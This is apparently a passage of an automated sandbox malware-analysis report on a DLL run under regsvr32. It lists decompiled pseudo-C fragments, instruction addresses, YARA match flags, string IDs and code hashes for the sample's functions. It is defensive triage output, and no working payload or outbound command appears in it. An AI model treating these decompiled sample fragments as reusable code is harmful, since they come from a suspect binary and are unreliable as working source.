				 *(_t206 + 0x20) = _t203 + 0xffc0;
				_t95 = _t212 + 1; // 0x1
				E00000001180004968( *((intOrPtr*)(_t206 + 0x41)), _t95, _t203 + 0xffc0,  *(_t206 + 0x70),  *((intOrPtr*)(_t203 - 0x48)), _t212,  *((intOrPtr*)( *((intOrPtr*)(_t232 + 0x240)) + 0x60)), _t202);
				return E000000011800149A0(0,  *((intOrPtr*)(_t206 + 0x41)),  *(_t203 + 0x103c0) ^ _t206);
			}





































                                                                                                        0x18000b10c
                                                                                                        0x18000b10c
                                                                                                        0x18000b10c
                                                                                                        0x18000b11c
                                                                                                        0x18000b129
                                                                                                        0x18000b12e
                                                                                                        0x18000b131
                                                                                                        0x18000b138
                                                                                                        0x18000b13b
                                                                                                        0x18000b142
                                                                                                        0x18000b14c
                                                                                                        0x18000b153
                                                                                                        0x18000b156
                                                                                                        0x18000b15b
                                                                                                        0x18000b160
                                                                                                        0x18000b164
                                                                                                        0x18000b169
                                                                                                        0x18000b175
                                                                                                        0x18000b184
                                                                                                        0x18000b18a
                                                                                                        0x18000b18e
                                                                                                        0x18000b191
                                                                                                        0x18000b199
                                                                                                        0x18000b19e
                                                                                                        0x18000b1b0
                                                                                                        0x18000b1b5
                                                                                                        0x18000b1bf
                                                                                                        0x18000b1cc
                                                                                                        0x18000b1d4
                                                                                                        0x18000b1e0
                                                                                                        0x18000b1e2
                                                                                                        0x18000b1e7
                                                                                                        0x18000b1e9
                                                                                                        0x18000b1ef
                                                                                                        0x18000b1f5
                                                                                                        0x18000b1fc
                                                                                                        0x18000b206
                                                                                                        0x18000b20a
                                                                                                        0x18000b211
                                                                                                        0x18000b21d
                                                                                                        0x18000b220
                                                                                                        0x18000b224
                                                                                                        0x18000b22b
                                                                                                        0x18000b234
                                                                                                        0x18000b239
                                                                                                        0x18000b23e
                                                                                                        0x18000b23e
                                                                                                        0x18000b242
                                                                                                        0x18000b245
                                                                                                        0x18000b24c
                                                                                                        0x18000b252
                                                                                                        0x18000b258
                                                                                                        0x18000b261
                                                                                                        0x18000b268
                                                                                                        0x18000b273
                                                                                                        0x18000b279
                                                                                                        0x18000b283
                                                                                                        0x18000b28d
                                                                                                        0x18000b296
                                                                                                        0x18000b29f
                                                                                                        0x18000b2a8
                                                                                                        0x18000b2b1
                                                                                                        0x18000b2ba
                                                                                                        0x18000b2c8
                                                                                                        0x18000b2d1
                                                                                                        0x18000b2da
                                                                                                        0x18000b2e7
                                                                                                        0x18000b2f2
                                                                                                        0x18000b2f5
                                                                                                        0x18000b2fe
                                                                                                        0x18000b302
                                                                                                        0x18000b307
                                                                                                        0x18000b30c
                                                                                                        0x18000b311
                                                                                                        0x18000b31b
                                                                                                        0x18000b324
                                                                                                        0x18000b32d
                                                                                                        0x18000b333
                                                                                                        0x18000b337
                                                                                                        0x18000b33e
                                                                                                        0x18000b34b
                                                                                                        0x18000b350
                                                                                                        0x18000b359
                                                                                                        0x18000b363
                                                                                                        0x18000b368
                                                                                                        0x18000b375
                                                                                                        0x18000b377
                                                                                                        0x18000b37d
                                                                                                        0x18000b382
                                                                                                        0x18000b386
                                                                                                        0x18000b388
                                                                                                        0x18000b38e
                                                                                                        0x18000b393
                                                                                                        0x18000b397
                                                                                                        0x18000b39b
                                                                                                        0x18000b39e
                                                                                                        0x18000b3a9
                                                                                                        0x18000b3b3
                                                                                                        0x18000b3bf
                                                                                                        0x18000b3c8
                                                                                                        0x18000b3cd
                                                                                                        0x18000b3d8
                                                                                                        0x18000b3e5
                                                                                                        0x18000b3f0
                                                                                                        0x18000b3f3
                                                                                                        0x18000b3fc
                                                                                                        0x18000b400
                                                                                                        0x18000b405
                                                                                                        0x18000b40f
                                                                                                        0x18000b41c
                                                                                                        0x18000b429
                                                                                                        0x18000b432
                                                                                                        0x18000b434
                                                                                                        0x18000b43a
                                                                                                        0x18000b440
                                                                                                        0x18000b443
                                                                                                        0x18000b448
                                                                                                        0x18000b452
                                                                                                        0x18000b45b
                                                                                                        0x18000b461
                                                                                                        0x18000b479
                                                                                                        0x18000b47c
                                                                                                        0x18000b485
                                                                                                        0x18000b489
                                                                                                        0x18000b4b9

                                                                                                        APIs
                                                                                                        • DeviceIoControl.KERNEL32 ref: 000000018000B1D8
                                                                                                        • GetLastError.KERNEL32(?,00000001,?,000000018000CA21), ref: 000000018000B1E9
                                                                                                        • GetLastError.KERNEL32(?,00000001,?,000000018000CA21), ref: 000000018000B448
                                                                                                          • Part of subcall function 000000018000EFAC: FormatMessageW.KERNEL32 ref: 000000018000EFFB
                                                                                                          • Part of subcall function 000000018000EFAC: swprintf.LEGACY_STDIO_DEFINITIONS ref: 000000018000F053
                                                                                                          • Part of subcall function 0000000180004968: swprintf.LEGACY_STDIO_DEFINITIONS ref: 00000001800049A8
                                                                                                        Memory Dump Source
                                                                                                        • Source File: 00000003.00000002.254654782.0000000180001000.00000020.00000001.01000000.00000006.sdmp, Offset: 0000000180000000, based on PE: true
                                                                                                        • Associated: 00000003.00000002.254646022.0000000180000000.00000002.00000001.01000000.00000006.sdmpDownload File
                                                                                                        • Associated: 00000003.00000002.255324433.000000018007D000.00000002.00000001.01000000.00000006.sdmpDownload File
                                                                                                        • Associated: 00000003.00000002.255662562.00000001800D8000.00000004.00000001.01000000.00000006.sdmpDownload File
                                                                                                        • Associated: 00000003.00000002.255704642.00000001800DB000.00000002.00000001.01000000.00000006.sdmpDownload File
                                                                                                        Joe Sandbox IDA Plugin
                                                                                                        • Snapshot File: hcaresult_3_2_180000000_regsvr32.jbxd
                                                                                                        Similarity
                                                                                                        • API ID: ErrorLastswprintf$ControlDeviceFormatMessage
                                                                                                        • String ID:
                                                                                                        • API String ID: 2277921865-0
                                                                                                        • Opcode ID: d16810114d6f582b8574c73f5ed78de1057eba9d431b997e68bf5adbd54b7eb3
                                                                                                        • Instruction ID: 5a533025dbe8ac0c06f4624307b66f72ee2fd39381a4699dc604a727e05a8ec9
                                                                                                        • Opcode Fuzzy Hash: d16810114d6f582b8574c73f5ed78de1057eba9d431b997e68bf5adbd54b7eb3
                                                                                                        • Instruction Fuzzy Hash: FAC17F32205B9886EBA1CF51E4447DE77A4F7497C8F548516FE8997B58CF78C688CB00
                                                                                                        Uniqueness

                                                                                                        Uniqueness Score: -1.00%

                                                                                                        Function 02425C1C Relevance: 4.4, Strings: 3, Instructions: 640COMMON
                                                                                                        Download Yara Rule
                                                                                                        Strings
                                                                                                        Memory Dump Source
                                                                                                        • Source File: 00000003.00000002.254435708.0000000002401000.00000020.00001000.00020000.00000000.sdmp, Offset: 02401000, based on PE: false
                                                                                                        Joe Sandbox IDA Plugin
                                                                                                        • Snapshot File: hcaresult_3_2_2401000_regsvr32.jbxd
                                                                                                        Yara matches
                                                                                                        Similarity
                                                                                                        • API ID:
                                                                                                        • String ID: )5$;)$|H?]
                                                                                                        • API String ID: 0-3577806271
                                                                                                        • Opcode ID: a4165b25f606c11149fed1bfd1d62cefd3f4259691b1976da8f140aa7b92ad2d
                                                                                                        • Instruction ID: 655938f981e0b3a27d321a73947514684fab31f508e34a70dc8952e5663bd103
                                                                                                        • Opcode Fuzzy Hash: a4165b25f606c11149fed1bfd1d62cefd3f4259691b1976da8f140aa7b92ad2d
                                                                                                        • Instruction Fuzzy Hash: A472E57150178C8FEBB8CF64C8896DD7BB2FB88314F140619D81A9B251DBB657A4CF88
                                                                                                        Uniqueness

                                                                                                        Uniqueness Score: -1.00%

                                                                                                        Function 02429590 Relevance: 4.2, Strings: 3, Instructions: 421COMMON
                                                                                                        Download Yara Rule
                                                                                                        Strings
                                                                                                        Memory Dump Source
                                                                                                        • Source File: 00000003.00000002.254435708.0000000002401000.00000020.00001000.00020000.00000000.sdmp, Offset: 02401000, based on PE: false
                                                                                                        Joe Sandbox IDA Plugin
                                                                                                        • Snapshot File: hcaresult_3_2_2401000_regsvr32.jbxd
                                                                                                        Yara matches
                                                                                                        Similarity
                                                                                                        • API ID:
                                                                                                        • String ID: =j$aroR$del
                                                                                                        • API String ID: 0-2802637683
                                                                                                        • Opcode ID: 128a13469a6ed3339f7bbdfeb934f2a3c9d33f1a247ca332641572c8731fa192
                                                                                                        • Instruction ID: 85a6af4b96a989bd99d5537b993e62f6f81ea640f0fe413a28f9c0c6d8c15195
                                                                                                        • Opcode Fuzzy Hash: 128a13469a6ed3339f7bbdfeb934f2a3c9d33f1a247ca332641572c8731fa192
                                                                                                        • Instruction Fuzzy Hash: 9532B3709093C88BDBB8DF24C8856CD7BF1FF48344F90255AD84E9A658CBB86685CF42
                                                                                                        Uniqueness

                                                                                                        Uniqueness Score: -1.00%

                                                                                                        Function 0241B058 Relevance: 4.1, Strings: 3, Instructions: 350COMMON
                                                                                                        Download Yara Rule
                                                                                                        Strings
                                                                                                        Memory Dump Source
                                                                                                        • Source File: 00000003.00000002.254435708.0000000002401000.00000020.00001000.00020000.00000000.sdmp, Offset: 02401000, based on PE: false
                                                                                                        Joe Sandbox IDA Plugin
                                                                                                        • Snapshot File: hcaresult_3_2_2401000_regsvr32.jbxd
                                                                                                        Yara matches
                                                                                                        Similarity
                                                                                                        • API ID:
                                                                                                        • String ID: FLY$`rzf$dr
                                                                                                        • API String ID: 0-3221335131
                                                                                                        • Opcode ID: ffe9e5cf0cf4a413546e84d7cf92f9f5427e572e7bda02bbeadd19f04bedf841
                                                                                                        • Instruction ID: 8248688fd7f9451d25def7c5b2ce79f78e9a48898509c84a5f0645cefda892a7
                                                                                                        • Opcode Fuzzy Hash: ffe9e5cf0cf4a413546e84d7cf92f9f5427e572e7bda02bbeadd19f04bedf841
                                                                                                        • Instruction Fuzzy Hash: A7F11770908709EFDB58DFA8C49959EBBF1FB44348F00816AE849EB290D7759A19CF81
                                                                                                        Uniqueness

                                                                                                        Uniqueness Score: -1.00%

                                                                                                        Function 02403B78 Relevance: 4.1, Strings: 3, Instructions: 334COMMON
                                                                                                        Download Yara Rule
                                                                                                        Strings
                                                                                                        Memory Dump Source
                                                                                                        • Source File: 00000003.00000002.254435708.0000000002401000.00000020.00001000.00020000.00000000.sdmp, Offset: 02401000, based on PE: false
                                                                                                        Joe Sandbox IDA Plugin
                                                                                                        • Snapshot File: hcaresult_3_2_2401000_regsvr32.jbxd
                                                                                                        Yara matches
                                                                                                        Similarity
                                                                                                        • API ID:
                                                                                                        • String ID: 's$GZ,$^%
                                                                                                        • API String ID: 0-433918789
                                                                                                        • Opcode ID: f05d10da8892227201dd6b6f42a77bc46e936347250617257e2e9ec1ca3d144f
                                                                                                        • Instruction ID: 52a9d416699f1f0767a7936b85c68475b13a5e87a031b840cdee7b8cc200f622
                                                                                                        • Opcode Fuzzy Hash: f05d10da8892227201dd6b6f42a77bc46e936347250617257e2e9ec1ca3d144f
                                                                                                        • Instruction Fuzzy Hash: 59F1097190570CDFDB68CFA8D08A59EBBF2FF44348F00412AE946A7290D7B9945ACF85
                                                                                                        Uniqueness

                                                                                                        Uniqueness Score: -1.00%

                                                                                                        Function 0240FE84 Relevance: 4.0, Strings: 3, Instructions: 270COMMON
                                                                                                        Download Yara Rule
                                                                                                        Strings
                                                                                                        Memory Dump Source
                                                                                                        • Source File: 00000003.00000002.254435708.0000000002401000.00000020.00001000.00020000.00000000.sdmp, Offset: 02401000, based on PE: false
                                                                                                        Joe Sandbox IDA Plugin
                                                                                                        • Snapshot File: hcaresult_3_2_2401000_regsvr32.jbxd
                                                                                                        Yara matches
                                                                                                        Similarity
                                                                                                        • API ID:
                                                                                                        • String ID: &L$TO$U
                                                                                                        • API String ID: 0-3216064386
                                                                                                        • Opcode ID: ef0a199b3b0f632b3b33fe13d146858ce6cc73520a2a27b4b017463952953357
                                                                                                        • Instruction ID: b07f342c49479171f20c8753213e7e3d9dbf79827970b202e54c9f9d46b7e0ba
                                                                                                        • Opcode Fuzzy Hash: ef0a199b3b0f632b3b33fe13d146858ce6cc73520a2a27b4b017463952953357
                                                                                                        • Instruction Fuzzy Hash: 1FD1187050078D8BDF88DF28C88A4DE3BA1FB58398F515229FC4A96290D778D995CFC5
                                                                                                        Uniqueness

                                                                                                        Uniqueness Score: -1.00%

                                                                                                        Function 02417E74 Relevance: 4.0, Strings: 3, Instructions: 227COMMON
                                                                                                        Download Yara Rule
                                                                                                        Strings
                                                                                                        Memory Dump Source
                                                                                                        • Source File: 00000003.00000002.254435708.0000000002401000.00000020.00001000.00020000.00000000.sdmp, Offset: 02401000, based on PE: false
                                                                                                        Joe Sandbox IDA Plugin
                                                                                                        • Snapshot File: hcaresult_3_2_2401000_regsvr32.jbxd
                                                                                                        Yara matches
                                                                                                        Similarity
                                                                                                        • API ID:
                                                                                                        • String ID: 9&/*$TL;$h
                                                                                                        • API String ID: 0-2964695485
                                                                                                        • Opcode ID: 2407b1ce0b12a4c4b04f561617ca72c2d467b26de9be28edfaa702a6f444da5c
                                                                                                        • Instruction ID: 5d9adc6b57ec228e3507ca0f02974418b92e1e3fbefa247d7d0c7fd47826fa4e
                                                                                                        • Opcode Fuzzy Hash: 2407b1ce0b12a4c4b04f561617ca72c2d467b26de9be28edfaa702a6f444da5c
                                                                                                        • Instruction Fuzzy Hash: 19B1C6B1504789CFEF48DF28D88A5D93BA1FB58348F11421DF88A972A5D778E845CF88
                                                                                                        Uniqueness

                                                                                                        Uniqueness Score: -1.00%

                                                                                                        Function 0241D7F8 Relevance: 3.9, Strings: 3, Instructions: 155COMMON
                                                                                                        Download Yara Rule
                                                                                                        Strings
                                                                                                        Memory Dump Source
                                                                                                        • Source File: 00000003.00000002.254435708.0000000002401000.00000020.00001000.00020000.00000000.sdmp, Offset: 02401000, based on PE: false
                                                                                                        Joe Sandbox IDA Plugin
                                                                                                        • Snapshot File: hcaresult_3_2_2401000_regsvr32.jbxd
                                                                                                        Yara matches
                                                                                                        Similarity
                                                                                                        • API ID:
                                                                                                        • String ID: Q%$gx$iW
                                                                                                        • API String ID: 0-828841787
                                                                                                        • Opcode ID: 0d33f4ad03ee5ef8ccd82829076fad93c1d83d09acc3996e03831199b4de163d
                                                                                                        • Instruction ID: 84085903dff4e3e206eab2c86b39b71b3b44b0cebba3090cc9554b7755062d4b
                                                                                                        • Opcode Fuzzy Hash: 0d33f4ad03ee5ef8ccd82829076fad93c1d83d09acc3996e03831199b4de163d
                                                                                                        • Instruction Fuzzy Hash: DA6127701206499FDF88CF28C8C99D97FB1FB48368BA5621DFC0AA7294C774D885CB84
                                                                                                        Uniqueness

                                                                                                        Uniqueness Score: -1.00%

                                                                                                        Function 02412FC8 Relevance: 3.9, Strings: 3, Instructions: 138COMMON
                                                                                                        Download Yara Rule
                                                                                                        Strings
                                                                                                        Memory Dump Source
                                                                                                        • Source File: 00000003.00000002.254435708.0000000002401000.00000020.00001000.00020000.00000000.sdmp, Offset: 02401000, based on PE: false
                                                                                                        Joe Sandbox IDA Plugin
                                                                                                        • Snapshot File: hcaresult_3_2_2401000_regsvr32.jbxd
                                                                                                        Yara matches
                                                                                                        Similarity
                                                                                                        • API ID:
                                                                                                        • String ID: */$iG$i
                                                                                                        • API String ID: 0-2444112581
                                                                                                        • Opcode ID: a15e141680521444ca62533c0e025311dc4aa3026a457d479ed153533082f06a
                                                                                                        • Instruction ID: b5755c07e0fd50af0c168b6c26d9372cf83f8858cd5743c572eecf1fe572d408
                                                                                                        • Opcode Fuzzy Hash: a15e141680521444ca62533c0e025311dc4aa3026a457d479ed153533082f06a
                                                                                                        • Instruction Fuzzy Hash: CA5136B050078E8BDB4CCF24C99A5AE3FA1FB54348F11462DF8569A3A0D3B4D6A4CBC5
                                                                                                        Uniqueness

                                                                                                        Uniqueness Score: -1.00%

                                                                                                        Function 0242A784 Relevance: 3.9, Strings: 3, Instructions: 113COMMON
                                                                                                        Download Yara Rule
                                                                                                        Strings
                                                                                                        Memory Dump Source
                                                                                                        • Source File: 00000003.00000002.254435708.0000000002401000.00000020.00001000.00020000.00000000.sdmp, Offset: 02401000, based on PE: false
                                                                                                        Joe Sandbox IDA Plugin
                                                                                                        • Snapshot File: hcaresult_3_2_2401000_regsvr32.jbxd
                                                                                                        Yara matches
                                                                                                        Similarity
                                                                                                        • API ID:
                                                                                                        • String ID: @$]F$ge
                                                                                                        • API String ID: 0-573476858
                                                                                                        • Opcode ID: 88c0df63cacfd7881997525b04d040325dc8c3ca0cda55608e2043a269ec6f93
                                                                                                        • Instruction ID: 1cbe7b8cca7e68188b2e837cd81b23319e48347ec18f1bc0016cf750f7b7ce50
                                                                                                        • Opcode Fuzzy Hash: 88c0df63cacfd7881997525b04d040325dc8c3ca0cda55608e2043a269ec6f93
                                                                                                        • Instruction Fuzzy Hash: B241E3B460CB848FE768DF18D48975ABBE1FB98304F104A5EE48DDB3A5DB709844CB42
                                                                                                        Uniqueness

                                                                                                        Uniqueness Score: -1.00%

                                                                                                        Function 024166E8 Relevance: 3.9, Strings: 3, Instructions: 104COMMON
                                                                                                        Download Yara Rule
                                                                                                        Strings
                                                                                                        Memory Dump Source
                                                                                                        • Source File: 00000003.00000002.254435708.0000000002401000.00000020.00001000.00020000.00000000.sdmp, Offset: 02401000, based on PE: false
                                                                                                        Joe Sandbox IDA Plugin
                                                                                                        • Snapshot File: hcaresult_3_2_2401000_regsvr32.jbxd
                                                                                                        Yara matches
                                                                                                        Similarity
                                                                                                        • API ID:
                                                                                                        • String ID: :x$Z$bW
                                                                                                        • API String ID: 0-715408004
                                                                                                        • Opcode ID: 0329e78f40e4edf829a2b8f92ea994059bb13b7b01c6cce7a40cd13ed669b99f
                                                                                                        • Instruction ID: 84a276474f97c01715ae466b48beb394e7e53bea3eadb9c805162ad730b1a7cf
                                                                                                        • Opcode Fuzzy Hash: 0329e78f40e4edf829a2b8f92ea994059bb13b7b01c6cce7a40cd13ed669b99f
                                                                                                        • Instruction Fuzzy Hash: 7751B1B190074A8FDF48CF68C88A4DE7FB0FB58398F50461DE856A6250D3B496A9CFC5
                                                                                                        Uniqueness

                                                                                                        Uniqueness Score: -1.00%

                                                                                                        Function 0240D250 Relevance: 3.9, Strings: 3, Instructions: 101COMMON
                                                                                                        Download Yara Rule
                                                                                                        Strings
                                                                                                        Memory Dump Source
                                                                                                        • Source File: 00000003.00000002.254435708.0000000002401000.00000020.00001000.00020000.00000000.sdmp, Offset: 02401000, based on PE: false
                                                                                                        Joe Sandbox IDA Plugin
                                                                                                        • Snapshot File: hcaresult_3_2_2401000_regsvr32.jbxd
                                                                                                        Yara matches
                                                                                                        Similarity
                                                                                                        • API ID:
                                                                                                        • String ID: #X$*$4J
                                                                                                        • API String ID: 0-2879540073
                                                                                                        • Opcode ID: 7427c53210926ccc13f164d2f962bf1858e2eba934cb82baf5b8d883c6a43345
                                                                                                        • Instruction ID: 32bfa7dc00687246cae3c66f24d1d18a025d738ab089bd6de83883c979177155
                                                                                                        • Opcode Fuzzy Hash: 7427c53210926ccc13f164d2f962bf1858e2eba934cb82baf5b8d883c6a43345
                                                                                                        • Instruction Fuzzy Hash: E95127B190074A8BDF48CF64C89A4EE7FB0FF58358F11421DE81AA6290D3B89695CFC4
                                                                                                        Uniqueness

                                                                                                        Uniqueness Score: -1.00%

                                                                                                        Function 0241FFD8 Relevance: 3.8, Strings: 3, Instructions: 97COMMON
                                                                                                        Download Yara Rule
                                                                                                        Strings
                                                                                                        Memory Dump Source
                                                                                                        • Source File: 00000003.00000002.254435708.0000000002401000.00000020.00001000.00020000.00000000.sdmp, Offset: 02401000, based on PE: false
                                                                                                        Joe Sandbox IDA Plugin
                                                                                                        • Snapshot File: hcaresult_3_2_2401000_regsvr32.jbxd
                                                                                                        Yara matches
                                                                                                        Similarity
                                                                                                        • API ID:
                                                                                                        • String ID: ?p$\=$f"]
                                                                                                        • API String ID: 0-1012456069
                                                                                                        • Opcode ID: 16e6e74cfccdb8c5c49baf352431d30b9ec7d4e1f3d23936d3567e0029293d18
                                                                                                        • Instruction ID: dbbd93188f9eaad5d53ab7f8fa086ebf60ea7f993f09204d1f639cc546f808b2
                                                                                                        • Opcode Fuzzy Hash: 16e6e74cfccdb8c5c49baf352431d30b9ec7d4e1f3d23936d3567e0029293d18
                                                                                                        • Instruction Fuzzy Hash: CE51D2B580074E8FDB48CF64C88A4DE7FB0FB28398F11461DE816A6250D3B896A5CFC4
                                                                                                        Uniqueness

                                                                                                        Uniqueness Score: -1.00%

                                                                                                        Function 02426CD0 Relevance: 3.8, Strings: 3, Instructions: 79COMMON
                                                                                                        Download Yara Rule
                                                                                                        Strings
                                                                                                        Memory Dump Source
                                                                                                        • Source File: 00000003.00000002.254435708.0000000002401000.00000020.00001000.00020000.00000000.sdmp, Offset: 02401000, based on PE: false
                                                                                                        Joe Sandbox IDA Plugin
                                                                                                        • Snapshot File: hcaresult_3_2_2401000_regsvr32.jbxd
                                                                                                        Yara matches
                                                                                                        Similarity
                                                                                                        • API ID:
                                                                                                        • String ID: %2$>$C+
                                                                                                        • API String ID: 0-338670336
                                                                                                        • Opcode ID: 29159c3d78d66c8f630becc81728bd18d65bd8c2e4f1bc7b073e33ff19bf2c67
                                                                                                        • Instruction ID: 669b6ebef55ad8b78762a01b3e7570981a016eaeeadbf551e8c7dc9ec412069b
                                                                                                        • Opcode Fuzzy Hash: 29159c3d78d66c8f630becc81728bd18d65bd8c2e4f1bc7b073e33ff19bf2c67
                                                                                                        • Instruction Fuzzy Hash: ED41C17051C3848BD3B4CF24C48979BBBE1FB85309F60891DD4CDC6261DB789489DB42
                                                                                                        Uniqueness

                                                                                                        Uniqueness Score: -1.00%

                                                                                                        Function 024012F0 Relevance: 3.8, Strings: 3, Instructions: 76COMMON
                                                                                                        Download Yara Rule
                                                                                                        Strings
                                                                                                        Memory Dump Source
                                                                                                        • Source File: 00000003.00000002.254435708.0000000002401000.00000020.00001000.00020000.00000000.sdmp, Offset: 02401000, based on PE: false
                                                                                                        Joe Sandbox IDA Plugin
                                                                                                        • Snapshot File: hcaresult_3_2_2401000_regsvr32.jbxd
                                                                                                        Yara matches
                                                                                                        Similarity
                                                                                                        • API ID:
                                                                                                        • String ID: ';$V=${Q
                                                                                                        • API String ID: 0-4198053850
                                                                                                        • Opcode ID: 7772ed82209a9797d9b34d2f5c4d8808246642fb107bc36ae58c6bbc8652bb26
                                                                                                        • Instruction ID: 684bd2bf0a6f948e77ebd1e144bb481ba3bedfebc48f865293fbba9a19923817
                                                                                                        • Opcode Fuzzy Hash: 7772ed82209a9797d9b34d2f5c4d8808246642fb107bc36ae58c6bbc8652bb26
                                                                                                        • Instruction Fuzzy Hash: A24195B190038E8FDF84DF64C88A5DE7BB0FF18358F114A19E869A6250D3B89664CF95
                                                                                                        Uniqueness

                                                                                                        Uniqueness Score: -1.00%

                                                                                                        Function 0240C1E0 Relevance: 3.8, Strings: 3, Instructions: 72COMMON
                                                                                                        Download Yara Rule
                                                                                                        Strings
                                                                                                        Memory Dump Source
                                                                                                        • Source File: 00000003.00000002.254435708.0000000002401000.00000020.00001000.00020000.00000000.sdmp, Offset: 02401000, based on PE: false
                                                                                                        Joe Sandbox IDA Plugin
                                                                                                        • Snapshot File: hcaresult_3_2_2401000_regsvr32.jbxd
                                                                                                        Yara matches
                                                                                                        Similarity
                                                                                                        • API ID:
                                                                                                        • String ID: (H$av$#
                                                                                                        • API String ID: 0-3500117868
                                                                                                        • Opcode ID: fa55ac9f67f9074ea0b107383cc11e0fe904972d1e13a680a60cb6c1c02552bf
                                                                                                        • Instruction ID: 1ad8b7aaa9f39b64c481fea2f6ccfd6c913b60077c6a7ed43d45b79649c56bba
                                                                                                        • Opcode Fuzzy Hash: fa55ac9f67f9074ea0b107383cc11e0fe904972d1e13a680a60cb6c1c02552bf
                                                                                                        • Instruction Fuzzy Hash: 8941B0B080434E8FDF49CF64C88A4EEBBB0FB18358F514619E85AA7250D7B89659CFC5
                                                                                                        Uniqueness

                                                                                                        Uniqueness Score: -1.00%

                                                                                                        Function 00000001800293B0 Relevance: 3.4, APIs: 2, Instructions: 394COMMONCrypto
                                                                                                        Download Yara Rule
                                                                                                        C-Code - Quality: 99%
                                                                                                        			E000000011800293B0(intOrPtr __ecx, long long __rbx, void* __rcx, void* __rdx, signed int __rdi, signed int __rsi, signed int* __r8, signed int __r10) {
				signed int _t165;
				signed int _t170;
				signed int _t181;
				signed int _t193;
				signed int _t201;
				signed int _t211;
				signed int _t225;
				signed int _t231;
				void* _t237;
				void* _t296;
				void* _t304;
				signed long long _t305;
				signed long long _t306;
				signed long long _t307;
				signed long long _t310;
				void* _t314;
				signed long long _t315;
				signed long long _t322;
				signed long long _t326;
				signed long long _t342;
				signed long long _t345;
				signed long long _t354;
				void* _t357;
				void* _t359;
				signed long long _t360;
				signed long long _t370;
				signed long long _t373;
				signed long long _t374;
				signed long long _t379;
				signed long long _t384;

				if (__rcx == __rdx) goto 0x8002996c;
				_t304 = _t359;
				 *((long long*)(_t304 + 8)) = __rbx;
				 *((long long*)(_t304 + 0x10)) = __rsi;
				 *((long long*)(_t304 + 0x20)) = __rdi;
				_push(_t384);
				_t357 = _t304 - 0x318;
				_t360 = _t359 - 0x3f0;
				_t305 =  *0x800d81f8; // 0x68308725f9ca
				_t306 = _t305 ^ _t360;
				 *(_t357 + 0x2e0) = _t306;
				r15d = 0;
				r13d = 0;
				if (r13d != 9) goto 0x800294a7;
				r11d =  *__r8;
				if (r11d == 0) goto 0x80029456;
				r8d = 0;
				r10d = 0;
				_t314 = _t306 * 0x3b9aca00 + _t306;
				 *((intOrPtr*)(__r8 + 4 + __r10 * 4)) = __ecx;
				r10d = r10d + 1;
				if (r10d != r11d) goto 0x80029414;
				if (r8d == 0) goto 0x80029456;
				if ( *__r8 - 0x73 >= 0) goto 0x80029452;
				 *(__r8 + 4 + _t306 * 4) = r8d;
				 *__r8 =  *__r8 + 1;
				goto 0x80029456;
				 *__r8 =  *__r8 & 0x00000000;
				if (r15d == 0) goto 0x800294a1;
				r8d = 0;
				if ( *__r8 == 0) goto 0x8002948e;
				_t315 = _t314 + _t306;
				_t165 =  *__r8;
				r8d = r8d + 1;
				if (r8d != _t165) goto 0x80029465;
				if (r15d == 0) goto 0x800294a1;
				if (_t165 - 0x73 >= 0) goto 0x8002949d;
				 *(__r8 + 4 + _t306 * 4) = r15d;
				 *__r8 =  *__r8 + 1;
				goto 0x800294a1;
				 *__r8 =  *__r8 & 0x00000000;
				r15d = 0;
				r13d = 0;
				r13d = r13d + 1;
				_t379 = __rcx + 1;
				r15d = _t306 + _t315 * 2;
				if (_t379 != __rdx) goto 0x800293fc;
				if (r13d == 0) goto 0x8002993d;
				_t170 = 0xcccccccd * r13d >> 0x20 >> 3;
				 *(_t360 + 0x2c) = _t170;
				r12d = _t170;
				 *(_t360 + 0x24) = _t170;
				if (_t170 == 0) goto 0x800298b4;
				_t172 =  >  ? 0x26 : r12d;
				 *((intOrPtr*)(_t360 + 0x28)) =  >  ? 0x26 : r12d;
				 *(_t357 + 0x110) = __rsi + _t315;
				E000000011800164C0(__rsi + _t315, 0, _t357 + 0x114, 0x180000000, _t315 * 4);
				_t354 = __rsi << 2;
				E00000001180015E10();
				r10d =  *(_t357 + 0x110);
				if (r10d - 1 > 0) goto 0x80029628;
				if ( *((intOrPtr*)(_t357 + 0x114)) != 0) goto 0x800295ea;
				 *__r8 =  *__r8 & 0x00000000;
				if (1 != 0) goto 0x80029894;
				 *__r8 =  *__r8 & 0x00000000;
				if (r15d == 0) goto 0x8002993d;
				r8d = 0;
				if ( *__r8 == 0) goto 0x800295d4;
				_t231 = r15d;
				 *(__r8 + 4 + _t354 * 4) = _t231;
				r8d = r8d + 1;
				_t181 =  *__r8;
				r15d = _t231;
				if (r8d != _t181) goto 0x800295aa;
				if (_t231 == 0) goto 0x8002993d;
				if (_t181 - 0x73 >= 0) goto 0x80029939;
				 *(__r8 + 4 + _t306 * 4) = r15d;
				 *__r8 =  *__r8 + 1;
				goto 0x8002993d;
				if (_t181 == 1) goto 0x80029589;
				r10d =  *__r8;
				if (r10d == 0) goto 0x80029589;
				r8d = 0;
				r9d = 0;
				r9d = r9d + 1;
				if (r9d != r10d) goto 0x80029600;
				goto 0x800296d5;
				_t310 =  &(__r8[1]);
				if ( *__r8 - 1 > 0) goto 0x800296ff;
				_t237 =  *_t310;
				_t370 = __r10 << 2;
				 *__r8 = r10d;
				if (_t370 == 0) goto 0x8002968e;
				if (_t310 != 0) goto 0x80029659;
				E0000000118005B354(_t310, _t306);
				 *_t306 = 0x16;
				goto 0x80029689;
				_t322 = _t310;
				if (_t370 - _t306 > 0) goto 0x80029674;
				E00000001180015E10();
				goto 0x8002968e;
				E000000011800164C0(0x1cc, 0, _t322, _t357 + 0x114, _t306);
				E0000000118005B354(_t370 - _t306, _t306);
				 *_t306 = 0x22;
				E0000000118002594C();
				if (_t237 == 0) goto 0x80029585;
				if (_t237 == 1) goto 0x80029589;
				r10d =  *__r8;
				if (r10d == 0) goto 0x80029589;
				r8d = 0;
				r9d = 0;
				_t373 = _t322 * __rdi + _t306 >> 0x20;
				r9d = r9d + 1;
				if (r9d != r10d) goto 0x800296b4;
				if (r8d == 0) goto 0x80029589;
				if ( *__r8 - 0x73 >= 0) goto 0x800296f4;
				 *(__r8 + 4 + _t306 * 4) = r8d;
				 *__r8 =  *__r8 + 1;
				goto 0x80029589;
				 *__r8 =  *__r8 & 0x00000000;
				goto 0x8002958b;
				r11d =  *__r8;
				_t342 =  >=  ? _t310 : _t357 + 0x114;
				_t326 =  <  ? _t310 : _t357 + 0x114;
				 *(_t360 + 0x38) = _t342;
				 *(_t360 + 0x30) = _t326;
				r11d =  <  ? r10d : r11d;
				 *(_t360 + 0x20) = r11d;
				r10d =  !=  ?  *__r8 : r10d;
				r9d = 0;
				 *(_t360 + 0x40) = 0;
				if (r11d == 0) goto 0x80029840;
